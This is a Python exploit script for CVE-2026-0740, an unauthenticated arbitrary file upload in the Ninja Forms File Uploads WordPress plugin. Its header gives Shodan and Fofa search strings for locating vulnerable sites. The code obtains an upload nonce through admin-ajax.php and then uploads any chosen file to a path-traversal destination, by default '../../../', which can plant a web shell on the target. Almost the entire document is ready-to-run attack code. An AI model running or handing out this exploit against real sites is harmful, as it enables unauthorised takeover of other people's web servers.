README.md
Rendering markdown...
#!/usr/bin/env python3
"""
===============================================================================
Author: Sélim Lanouar (@whattheslime)
CVE: CVE-2026-0740
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-434
Date: 2026-01-08
Finder: Sélim Lanouar (@whattheslime)
Fofa: body="nfpluginsettings.js?ver="
Shodan: http.html:"nfpluginsettings.js?ver="
Severity: Critical
Title: Ninja Forms File Uploads <= 3.3.26 - Unauthenticated Arbitrary File Upload
Vendor URL: https://ninjaforms.com/extensions/file-uploads/
Version: <= 3.3.26
-------------------------------------------------------------------------------
Install: python3 -m venv .venv && .venv/bin/pip install -r requirements.txt
Usage: .venv/bin/python3 CVE-2026-0740.py -h
-------------------------------------------------------------------------------
References: https://blog.lexfo.fr/ninja-forms-uploads_rce.html
https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/
https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-0740.yaml
https://github.com/advisories/GHSA-v8wq-rjpf-669f
https://www.cve.org/CVERecord?id=CVE-2026-0740
===============================================================================
"""
import argparse
import pathlib
import random
import sys
from datetime import datetime
from functools import partialmethod
from urllib.parse import urljoin
import httpx
import socksio
# --------------------------------------------------------------- Constants ---
AGENT = (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
)
TIMEOUT = 10
PROXY = None
# ------------------------------------------------------------------- Utils ---
class Logger:
COLORS = {
"error": 31,
"success": 32,
"warning": 33,
"info": 34,
}
def log(self, level: str, scope: str, message: str, progress=False):
color = self.COLORS[level]
date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
end = "\r" if progress else "\n"
sys.stderr.write(
f"\r\033[{color}m[{date}] [{time}] [{level}] [{scope}]\033[0m "
f"{message}{end}"
)
warning = partialmethod(log, "warning")
error = partialmethod(log, "error")
success = partialmethod(log, "success")
info = partialmethod(log, "info")
def parse_args() -> argparse.Namespace:
"""
Function to parse user arguments.
"""
parser = argparse.ArgumentParser(
description="CVE-2026-0740 - Ninja Forms File Uploads - Unauthenticated Arbitrary File Upload"
)
parser.add_argument(
"-t", "--target", required=True, type=str,
help="target url (e.g. http://target.com).",
)
parser.add_argument(
"-f", "--file", required=True, type=pathlib.Path,
help="file to upload.",
)
default_dest=pathlib.Path("../../../")
parser.add_argument(
"-d", "--dest", type=pathlib.Path, default=default_dest,
help="destination filename via path traversal "
f"(default: {default_dest}).",
)
parser.add_argument(
"-x", "--proxy", type=str, default=PROXY,
help=f"Proxy url (e.g. http://127.0.0.1:8080) (default: {PROXY!s}).",
)
parser.add_argument(
"-H", "--headers", type=str, nargs="+", default=[],
help="Custom headers (e.g. 'Header1: Value1' 'Header2: Value2').",
)
parser.add_argument(
"--timeout", type=float, default=TIMEOUT,
help=f"Set HTTP requests timeout (default: {TIMEOUT!s})."
)
return parser.parse_args()
# ----------------------------------------------------------------- Exploit ---
def exploit(
logger: Logger,
http_client: httpx.Client,
target: str,
file_path: pathlib.Path,
dest_path: str | None
) -> bool:
"""
Try exploit on one target.
Return True if exploit succeeded, False otherwise.
"""
ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
# Avoid field_id starts with zero
field_id = "".join(random.choices("123456789", k=16))
try:
# Step 1: Generate random field_id to create file upload nonce
logger.info(target, f"Fetch nonce for random field_id: {field_id}...")
data = {
"action": "nf_fu_get_new_nonce",
"field_id": field_id
}
response = http_client.post(ajax_url, data=data)
if response.text == "0":
logger.error(
target,
"Invalid ajax response: "
"The plugin doesn't seem to be installed on the target site."
)
return False
try:
json_result = response.json()
except ValueError:
logger.error(
target,
"Non-JSON response, probably blocked by a WAF! "
f"(Status: {response.status_code})"
)
return False
if not json_result.get("success"):
logger.warning(target, "Failed to get ninja-forms-upload nonce!")
return False
nonce = json_result["data"]["nonce"]
logger.success(target, f"Got ninja-forms-upload nonce: {nonce}")
# Step 2: Upload file
files_key = f"files-{field_id}"
if not dest_path:
dest_path_str = file_path.name
elif dest_path.is_dir():
dest_path_str = str(dest_path / file_path.name)
else:
dest_path_str = str(dest_path)
logger.info(
target,
f"Uploading {file_path.name} as {dest_path_str}"
" via POST parameter..."
)
files = {
files_key: ("image.jpg", file_path.read_bytes(), "image/jpeg")
}
data = {
"action": "nf_fu_upload",
"nonce": nonce,
"form_id": field_id,
"field_id": field_id,
"image_jpg": dest_path_str
}
response = http_client.post(ajax_url, data=data, files=files)
try:
json_result = response.json()
except ValueError:
logger.error(
target,
"Non-JSON response, probably blocked by a WAF! "
f"(Status: {response.status_code})"
)
return False
if not json_result:
logger.warning(target, f"Upload failed: {response.text}")
return False
if json_result.get("data") and json_result["data"].get("files"):
uploaded_tmp_name = json_result["data"]["files"][0]["tmp_name"]
if uploaded_tmp_name == dest_path_str:
file_url = urljoin(
target,
f"/wp-content/uploads/ninja-forms/tmp/{dest_path_str}"
)
logger.success(target, f"File uploaded at: {file_url}")
return True
else:
logger.warning(
target,
"File uploaded but returned unexpected filename: "
f"{uploaded_tmp_name}"
)
return False
else:
logger.info(target, "Exploit did not work.")
except httpx.ReadTimeout:
logger.error(target, "Request timed out!")
except httpx.ConnectError as error:
logger.error(target, f"Connection failed: {error!s}")
except httpx.NetworkError as error:
logger.error(target, f"Network communication error: {error!s}")
except httpx.HTTPStatusError as error:
logger.error(
target,
f"Unexpected HTTP status {error.response.status_code}: "
f"{error!s}"
)
except httpx.HTTPError as error:
logger.error(target, f"HTTP client error: {error!s}")
except socksio.exceptions.ProtocolError as error:
logger.error(target, f"SOCKS protocol error: {error!s}")
return False
# -------------------------------------------------------------------- Main ---
def main():
"""
Program entry point.
"""
args = parse_args()
# Header parsing.
headers_list = [["User-Agent", AGENT]]
headers_list += [header.split(":", 1) for header in args.headers]
headers = {header[0].strip(): header[1].strip() for header in headers_list}
logger = Logger()
if not args.file.is_file():
logger.error("file_loading", f"File not found: {args.file}")
return 1
with httpx.Client(
follow_redirects=False,
headers=headers,
proxy=args.proxy,
verify=False,
timeout=args.timeout
) as http_client:
exploit(
logger,
http_client,
args.target,
args.file,
args.dest
)
if __name__ == "__main__":
main()